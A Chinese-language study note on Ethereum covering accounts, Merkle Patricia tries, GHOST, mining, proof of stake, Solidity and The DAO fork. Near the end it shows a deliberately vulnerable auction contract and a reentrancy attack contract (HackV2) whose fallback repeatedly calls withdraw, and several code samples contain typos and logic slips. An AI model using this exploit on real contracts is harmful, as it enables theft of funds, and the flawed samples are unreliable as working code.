ETH 学习
以太坊也是一种链,它实现了去中心化的合约,使得应用场景更多。相比于比特币,它的设计更加工程化,偏向于实际应用。
账户
160 位二进制组成,简单记作 40 个 16 进制数。
- 账户模型更符合现实中交易的逻辑。
- 可以天然性的抗双花问题。
- 用nonce改变对抗replay attack(收款方恶意攻击)
两类账户:
- externally owned account:公私钥生成
- balance:余额
- nonce:交易计数器
- smart contract account:智能合约账户,无法发起交易
- balance
- nonce
- code:发布时确认,无法修改
- storage
状态树
状态树需要保存的就是所有账户的状态,包括但不仅仅包括余额。在整个eth链上,理论上可以存在 2^160 个账户,这是一个很庞大的量,需要解决这些账户的增加、查找、更新等操作,就需要寻找一种更好的数据结构。最终的选择是:Modified Merkle Patricia State Trie。
由于需要实现防篡改性,还是要基于默克尔树进行设计。像是 BTC 里的默克尔树就并不适用,这是因为:
- btc 的默克尔树保存的是交易记录,每一个区块生成一个全新的默克尔树,该树产生后就不再需要更改。而账户的状态是经常会有变动的(每次交易都意味着账户的状态变动)。所以普通默克尔树成本太高了。
- btc 的默克尔树不支持快速的查询,查询性能为O(n),但由于存放的是交易数据,每个区块内都不会超过4000个,所以可以忍受。而 eth 的账户太多了,查询性能 O(n) 是无法忍受的
这里就需要一种新的结构,检索树。检索树是一种多叉树,类似于字典的索引,对于eth的账户场景来说,它可以是高度为 160 的二叉树,也可以是高度为 40 的十六叉树,但无论哪种方式,它的查找效率都大大提高。但它的效率还是不够高,它的存储空间也是个问题。
针对上述问题,可以用 Pactricia Trie 的方式解决。这是一种数据压缩技术,它可以根据多个数据相同的部分进行压缩(例如数据中间都有abcdefg,那么一个节点就存储abcdefg,它的高度立刻减少了7,但是数据不会丢失)。这个方案需要一个前提,就是数据足够分散,数据越分散,压缩的效果越好。例如有10个160位的二进制数,使用Trie,必定高度为160,但使用了 Pactricia Trie,哪怕 10 个数很相似但又不一致,它的高度最高也只会是10。而eth的账户系统确实很分散。设计上,理论有2^160个账户,但现实中完完全全用不到这么多账户(一亿亿个账户也才2^56,这意味着全球70亿人民一人14285714个账户),账户这么设计更多的是为了防止hash碰撞。
有了上述的说明,就可以推导出 Modified Merkle Patricia State Trie。一种变形的使用hash指针的Pactricia Tria。详细的理解可以参考:Modified Merkle Patricia Trie — How Ethereum saves a state
MPT 中有三种节点:
- branch node
- extension node
- leaf node
数据结构
// Header represents a block header in the Ethereum blockchain.
type Header struct {
ParentHash common.Hash `json:"parentHash" gencodec:"required"` // 父块header的hash
UncleHash common.Hash `json:"sha3Uncles" gencodec:"required"` // ghost协议下的uncle节点的hash
Coinbase common.Address `json:"miner"` // 铸币地址
Root common.Hash `json:"stateRoot" gencodec:"required"` // 状态树根hash
TxHash common.Hash `json:"transactionsRoot" gencodec:"required"` //交易树根hash
ReceiptHash common.Hash `json:"receiptsRoot" gencodec:"required"` //收据树根hash
Bloom Bloom `json:"logsBloom" gencodec:"required"` // 布隆过滤器
Difficulty *big.Int `json:"difficulty" gencodec:"required"` // 挖矿难度
Number *big.Int `json:"number" gencodec:"required"`
GasLimit uint64 `json:"gasLimit" gencodec:"required"`
GasUsed uint64 `json:"gasUsed" gencodec:"required"`
Time uint64 `json:"timestamp" gencodec:"required"`
Extra []byte `json:"extraData" gencodec:"required"`
MixDigest common.Hash `json:"mixHash"`
Nonce BlockNonce `json:"nonce"` // 求解值
// BaseFee was added by EIP-1559 and is ignored in legacy headers.
BaseFee *big.Int `json:"baseFeePerGas" rlp:"optional"`
/*
TODO (MariusVanDerWijden) Add this field once needed
// Random was added during the merge and contains the BeaconState randomness
Random common.Hash `json:"random" rlp:"optional"`
*/
}
// Block represents an entire block in the Ethereum blockchain.
type Block struct {
header *Header // 上面的结构
uncles []*Header // ghost 协议下的 叔叔节点们
transactions Transactions // 交易信息
// caches
hash atomic.Value
size atomic.Value
// Td is used by package core to store the total difficulty
// of the chain up to and including the block.
td *big.Int
// These fields are used by package eth to track
// inter-peer block relay.
ReceivedAt time.Time
ReceivedFrom interface{}
}
交易树和收据树
这两个树同样是 MPT 结构。通过 bloom filter 可以在收据树上实现快速查询某笔交易的情况。具体的实现逻辑,需要代码支撑,这里会另开篇章进行详细描述。
GHOST 协议
最初版本
- 最新的区块所在的链变为最长链,其他链上的区块就成为了 uncle block
- uncle block 在被最长链上的 block 包含后会获得 7/8 挖矿奖励
- 最新的区块可以在 block 里包含最多两个 uncle block,每一个 uncle block 会使最新块获得 1/32 的挖矿奖励
但这会带来两个问题:
- 最长链(最新区块)可以故意不包含 uncle block,从链的角度来看是损人不利己,各有损失,从商业角度来看是另一回事
- 同一高度下,不一定只有两个 uncle block,也许会有更多的出现,但在这个方案中只能丢弃
优化版本
- 对于最新的区块,它可以包含向上溯源七代的高度产生的 uncle block
- uncle block 根据高度的推移会越来越不值钱,分别从 7/8 推到 2/8 的收益
挖矿算法
比特币的挖矿算法是比较简单的,常用hash运算,这导致 ASIC 的泛滥。一台 ASIC 的算力相当于上千台通用计算设备。但这在去中心化的设计中是不好的,所以后续的加密货币的挖矿算法都需要考虑 ASIC resistance 甚至 GPU resistance。
一种常用的方案为 memory hard mining puzzle。ASIC 的计算性能够强,但因为设计上的原因,弱内存通道,这意味着挖矿算法可以用内存需求来抵抗 ASIC。莱特币和以太坊都用了这个设计。
但是在实现 ASIC resistance 前,必须遵循 difficult to slove,easy to verify。同时链内会有全节点或轻节点(为了实际的应用,轻节点是必不可少的),单纯的通过内存加强运算对于轻节点来说是个很大的问题。
莱特币使用 128 kb 的内存空间存储挖矿需要的中间数据,虽然解决了轻节点对内存的消耗问题,但在本质上无法实现 ASIC resistance,内存需求还是太小了。
以太坊在设计初期,使用了两种数据,16MB cache 和 1GB dataset(DAG),随着时间的推移,这两种数据同样会增长。对于轻节点来说,只需要存储 16MB cache,在需要验证的时候可以运算出来(运算成本其实不低,但可以忍受);对于全节点来说,需要实现挖矿的不断尝试,必须存储 1GB dataset(假设只存储 16MB cache,那么中间的运算过程会庞大很多)。即便如此,也没有彻底的抹去 ASIC 挖掘 eth,还是有矿机出现,想要彻底解决这个问题,还是要从共识机制上进行更改,即从工作量证明改到权益证明。
eth 实现的方案是 ethash,这个具体方案另开一文进行详细描述。
难度调整
权益证明
在区块链系统中,挖矿是一个很重要的概念,但这只是一个类比。链内所有全节点都可以通过尝试各种解获得打包权(记账权),这就像是挖矿,很难挖,挖到了那就发财。这会打来很大的资源浪费。而权益证明在某种程度上就可以解决这个问题,直接没有挖矿这回事了。可以称之为 virtual mining。
权益证明是一种区块链网络达成共识的共识机制。
这将要求用户抵押他们的以太币从而成为网络中合法的验证者。 验证者有着与矿工在 工作量证明(pow)中相同的职责:将交易排序和创建新的区块,以便让所有的节点就网路状态达成一致。
这种共识可以带来一些好处:
- 提高能效——您不需要大量能源去挖掘区块
- 门槛降低,硬件要求减少——您不需要优秀的硬件从而获得建立新区块的机会
- 更强的去中心化——权益证明可以在网络中提供更多的节点。
- 更有力地支持分片链,这是以太坊网络扩展的关键升级
这种模式没有 PoW 那么直观,在实现上也更加复杂,所以截至今日,以太坊还没有上 PoS。这里面会增加很多新的概念,用来解决一些问题;同时异常情况可能会变得更多(参考真实世界的资本变动)。
权益证明是一种用于激励验证者接受更多质押的基本机制。 就以太币而言,用户需要质押 32ETH 来获得作为验证者的资格。 验证者被随机选择去创建区块,并且负责检查和确认那些不是由他们创造的区块。 一个用户的权益也被用于激励良好的验证者行为的一种方式。 例如,用户可能会因为离线(验证失败)而损失一部分权益, 或因故意勾结而损失他们的全部权益。
扩展:
- 分片链
- 信标链
智能合约
智能合约只是一个运行在以太坊链上的一个程序。 它是位于以太坊区块链上一个特定地址的一系列代码(函数)和数据(状态)。
智能合约也是一个账户,拥有余额、交易记录器、代码和存储。但智能合约账户无法发起交易,交易的实体还得是普通账户。
智能合约无序准入性,任何人都可以编写并发布。通常使用 Solidity 进行代码的编写从而实现功能。
创建和运行:
- 智能合约的代码完成后,要编译成 bytecode
- 创建合约:外部账户发起一个转账交易到0x0的地址
- 转账的金额为0,但是要支付 gas fee
- 合约的代码放在 data 域内
- 智能合约运行在 EVM 上
- 以太坊是一个交易驱动的状态机,而不是记账本
- 调用智能合约的交易发布到链上后,每个矿工都需要执行这个交易,从当前状态确定性的转移到下一个状态
错误处理:
- 智能合约中不存在自定义的 try-catch 结构
- 一旦遇到异常,除特殊情况外,本次执行操作全部回滚
- 可以抛出错误的语句
- assert(bool condition):如果条件不满足就抛出-用于内部错误
- require(bool condition) :如果条件不满足就抛出-用于输入或者外部组件引起的错误
- revert():终止运行并回滚状态变动
合约调用:
- 普通账户发起交易:类似于转账交易,三种调用方式都行,但如果接收方是智能合约那就不是简单的交易,而是根据data域的方法进行调用,如果“该域没有数据”或者“指定的方法不存在”,默认执行 fallback 函数(这里会隐含很多安全问题,需要深思熟虑)。
- 合约内调用
- 直接声明对象调用:一旦被调用合约出现错误,全部回滚
- addr.call 调用:addr 指的是被调用合约地址,被调用合约出现错误,只是返回false,合约本身不会直接回滚
- addr.delegate 调用:使用方法和 call 类似,只是上下文环境不切换到被调用合约内,只取用代码
嵌套调用:
- 智能合约的执行是原子性的:执行过程中出现错误,会导致回滚
- 嵌套调用是指一个合约调用另一个合约中的函数
- 嵌套调用是否会触发连锁式的回滚?得看调用方式
- 一个合约直接向另一个合约账户里转账,没有指明调用哪个函数,仍然会引起嵌套调用
fallback 函数:
function() public [payable]{
...
}
解释:
fallback 函数,匿名函数,没有参数没有返回值
在两种情况下被调用
- 直接向一个合约地址转账而没有任何data
- 被调用的函数不存在
如果转账金额不为零,那么同样需要声明 payable,否则抛出异常
智能合约可以获得的内部信息:
- block.blockhash(uint blockNumber) returns (bytes32):给定区块的哈希一仅对最近的 256 个区块有效而不包括当前区块
- block.coinbase(address):挖出当前区块的矿工地址
- block.difficulty(uint):当前区块难度
- block.gaslimit(uint):当前区块 gas 限额
- block.number(uint):当前区块号
- block.timestamp(uint):自 unix epoch 起始当前区块以秒计的时间戳
- msg.data(bytes):完整的 calldata
- msg.gas(uint):剩余gas
- msg.sender(address):消息发送者(当前调用)
- msg.sig(bytes4):calldata 的前4 字节(也就是函数标识符)
- msg.valve(uint):随消息发送的 wei 的数量
- now(uint):目前区块时间戳 (等同于block. timestamp)
- tx.gasprice(uint):交易的 gas 价格
- tx.origin(address):交易发起者(完全的调用链)
地址类型:
- <address>.balance(uint256):以 Wei 为单位的address的余额
- <address>.transfer(uint256 amount):向address发送amount的Wei,失败时抛出异常,发送2300 gas fee,不可调节
- <address>.send(uint256 amount) returns (bool):向address发送amount的Wei,失败时返回 false,发送2300 gas fee,不可调节
- <address>.call(…) returns (bool):发出底层 call,失败时返回 false,发送所有可用 gas,不可调节
- <address>.callcode(…) returns (bool):发出底层 callcode,失败时返回 false,发送所有可用 gas,不可调节
- <address>.delegatecall(…) returns (bool):发出底层 delegatecall,失败时返回 false,发送所有可用 gas,不可调节
简单拍卖
pragma solidity ^0.4.21;
contract SimpleAuctionV1 {
address public beneficiary; // 拍卖受益人
uint public auctionEnd; // 结束时间
address public highestBidder; // 当前最高出价人
mapping(address => uint) bids; // 所有竞拍者的出价
address[] bidders; // 所有竞拍者
bool ended; // 拍卖结束后设置为true
// 需要记录的事
event HighestBidderIncreased(address bidder, uint amount)
event AuctionEnded(address winner,uint amount)
// 构造函数(初始化)
constructor(uint _biddingTime, address _beneficiary) public {
beneficiary = _beneficiary
auctionEnd = now + _biddingTime}
function bid() public payable {
// 拍卖尚未结束
require(now <= auctionEnd);
// 当前出价和之前出价之和大于最高出价者
require(bids[msg.sender]+msg.value > bids[highestBidder]);
// 如果是第一次出价
if(!(bids[msg.sender] == uint(0))) {
bidders.push(msg.sender);
}
// 本次出价为最高,修改数据
highestBidder = msg.sender;
bids[msg.sender] += msg.value;
emit HighestBidIncreased(msg.sender, bids[msg.sender]);
}
function actionEnd() public {
// 拍卖已截止
require(now > auctionEnd);
// 该程序未被完整运行过
require(!ended);
bebeficiary.transfer(bids[highestBidder]);
for (uint i=0; i < bidders.length; i++){
address bidder = bidders[i]
if (bidder == highestBidder) continue;
bidder.transfer(bids[bidder]);
}
ended = true;
emit AuctionEnded(highestBidder, bids[highestBidder]);
}
}
上述实现是有问题的,很容易被攻击。在拍卖结束后需要把抵押池内的eth返回给外部账户,但因为是 transfer 交易,那么会出现异常,然后全部回滚,抵押池内的资产永远都拿不到了。一个常见的情况就是,一个合约地址也参与了拍卖,在拍卖结束后 transfer 回这个合约地址,实际上会去调用 合约的fallback,如果合约的fallback没有设计,就会抛出异常。
// 投标者自己提出取钱
function withdraw() public returns (bool) {
require(now > auctionEnd);
require(msg.sender != highestBidder);
require(bids[msg.sender] > 0);
uint amount = bids[msg.sender];
if (msg.sender.call.value(amount)()) {
bids[msg.sender] = 0;
return true;
}
return false;
}
function pay2Beneficiary() public returns (bool) {
require(now > auctionEnd);
require(bids[highestBidder] > 0);
uint amount = bids[highestBidder];
bids[highestBidder] = 0;
emit pay2Beneficiary(highestBidder, bids[highestBidder]);
if (!beneficiary.call.value(amount)()) {
bids[highestBidder] = amount;
return false;
}
return true;
}
这个更新版本依然有bug,因为投标者自己取出钱在合约内使用的是 call.value 的方法,正常情况下没有问题,但如果对方是合约账户,这里依旧是会调用 fallback 函数,而 fallback 中可以继续调用 withdraw 这个方法。同时因为 call.value 会把所有 gas 都给出去,这就给了攻击者可乘之机。同时因为这里的状态变化在转账完成后才可以变化也埋下了隐患,应该是:状态改变–>实际变化–>失败后状态恢复,成功后退出。
pragma solidity ^0.4.21;
contract HackV2 {
uint stack = 0;
function hack_bid(address addr) payable public {
SimpleAuctionV2 sa = SimpleAuctionV2(addr);
sa.bid.value(msg.value)();
}
function hack_withdraw(address addr) public payable {
SimpleAuctionV2(addr).withdraw();
}
function() public payable{
stack += 2;
// 在另一个合约有余额、gas fee 足够且堆栈小于 500 的情况下持续攻击
if (msg.sender.balance >= msg.value && msg.gas > 6000 && stack < 500)
SimpleAuctionV2(msg.sender).withdraw();
}
}
The DAO
Deccentralized Autonomous Organization。指的是去中心化的自治组织,与之相对的还有 DAC,即 Deccentralized Autonomous Corporation。
其中很著名的就是 theDAO,一个智能合约用来众筹投资,但只运行了三个月。如果投资过程中,投资者想要拿回自己的钱(投资和收益),那么需要执行 splitDAO,从而生成一个子基金,拆分前有七天的审核期,拆分后有二十八天的锁定期。
但是因为 splitDAO 的代码有 bug,导致黑客进行了重入攻击,获得了价值 5000 万美元的以太币。但是因为锁定期,所以黑客还没法卷钱跑路。此时社区内分成两派:需要采用补救措施,不需采用补救措施。
从彻底的去中心化的不可篡改的分布式账本来看,不应该采用补救措施。但考虑到 too big too fail,必须要采用补救措施。
一开始选择使用软分叉的方法,要求所有矿工不再进行 theDAO 智能合约相关的账户进行的交易,但这时考虑到这个交易不是失败,而是拒绝执行,所以没有收取 gas fee,这导致了大量的恶意攻击,诚实矿工受不了了,选择回退版本,这个解决方案没有成功。
后面决定使用硬分叉的方案,在执行前做了个投票,大部分投票同意。执行方案就是强制把 theDAO 的资金转移到一个新的合约上,该合约只负责退钱,此时转账无需签名,直接在 1920000 个区块的时候强制执行。这个方案解决了这次黑客攻击,但在社区内带来了不可弥合的分裂。从此硬分叉后的链称之为 ETH,而原先的链没有消失,成为了 ETC(Etereum Classic)。这里又带来了一个问题,两条链上除了强制转账外,所有的代码都是一样的,为了避免 replay attack,增加了 chainID 进行区分。
反思
- 智能合约并不智能,只是一段死板的代码
- 不可篡改性是把双刃剑
- 没有什么绝对无法修改
- solidity未来的模版化
- 去中心化不是不去管理的全自动化,以太坊团队可以提出建议,实际上决定权还是分散的,去中心的
- 分叉是一种民主体现
- 去中心化和分布式不是等价,去中心化一定是分布式的,但分布式的并不是去中心化的